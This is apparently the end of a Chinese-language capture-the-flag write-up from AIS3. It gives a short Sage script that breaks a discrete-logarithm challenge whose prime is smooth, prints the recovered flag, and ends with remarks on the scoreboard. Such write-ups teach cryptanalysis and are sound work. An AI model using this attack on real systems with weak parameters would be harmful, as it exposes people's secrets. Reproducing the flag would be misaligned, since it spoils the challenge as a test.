p = 912963562570713895762123712634341582363191342435924527885311975797578046400116904692505817547350929619596093083745446525856149291591598712142696114753807416455553636357128701771057485027781550780145668058332461392878693207262984011086549089459904749465167095482671894984474035487400352761994560452501497000487
g = 5
y = 826538666839613533825164219540577914201103248283631882579415248247469603672292332561005185045449294103457059566058782307774879654805356212117148864755019033392691510181464751398765490686084806155442759849410837406192708511190585484331707794669398717997173649869228717077858848442336016926370038781486833717341
def solve_discrete_log(p, g, A):
F = GF(p)
g, A = F(g), F(A)
a = discrete_log(A,g)
return a
print(long_to_bytes(solve_discrete_log(p, g, y)))
```
> Flag:AIS3{ToSolveADiscreteLogProblemWhithSmoothPIsSoEZZZZZZZZZZZ}
## After all
賽後記分板:

[CakeisTheFake](https://ctftime.org/team/276544) 的三位高中生成功佔領2, 3, 4名owob
這場差一題就破台web,結果是zip經典梗qwq,我還有好多要學